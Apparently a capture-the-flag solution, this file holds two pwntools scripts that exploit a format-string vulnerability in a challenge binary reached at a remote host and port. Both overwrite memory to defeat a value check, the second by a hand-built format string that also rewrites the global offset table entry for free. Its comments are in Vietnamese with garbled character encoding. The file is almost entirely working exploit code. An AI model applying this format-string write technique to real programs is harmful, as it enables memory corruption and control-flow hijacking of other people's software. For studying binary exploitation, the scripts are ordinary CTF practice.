from pwn import *
elf = context.binary = ELF("./chall")
context.log_level = "DEBUG"
libc = elf.libc
r = elf.process()
r = remote("tjc.tf",31764)
# gdb.attach(r ,
# '''
# b*main+137\n
# b*r1+24\n
# b*main+115\n
# c
# ''')
##########
# useful #
##########
check = 0x86a693e #141191484
###########
# exploit #
###########
write = {0x403500: check-2 , elf.sym['xd']:0x403500}
payload = fmtstr_payload(6,write)
r.sendlineafter(b":", payload)
r.interactive()
from pwn import *
elf = context.binary = ELF("./chall")
# context.log_level = "DEBUG"
libc = elf.libc
r = elf.process()
r = remote("tjc.tf",31764)
# gdb.attach(r ,
# '''
# b*main+137\n
# b*r1+24\n
# b*main+115\n
# c
# ''')
##########
# useful #
##########
check = 0x86a693e #141191484
addr_contant_value = 0x403500
free_got = 0x4033c8
main = 0x401329
###########
# exploit #
###########
payload = b"%2154p%14$hn%24786p%13$hn%4172269p%16$n%8663p%15$n------" #offset 6 7 8 9 10 11 12
#Ghi ฤรจ giรก trแป check vร o ฤแปa chแป rแปng
payload += p64(addr_contant_value) #offset 13
payload += p64(addr_contant_value+2) #offset 14
#ghi ฤแปa chแป rแปng chแปฉa giรก trแป check vร o giรก trแป xd.
payload += p64(elf.sym["xd"]) # offset 15
#ghi ฤรจ free_got ฤแป trรกnh chฦฐฦกng trรฌnh xแบฃy ra lแปi
payload += p64(free_got) # offset 16
r.sendlineafter(b":", payload)
r.interactive()
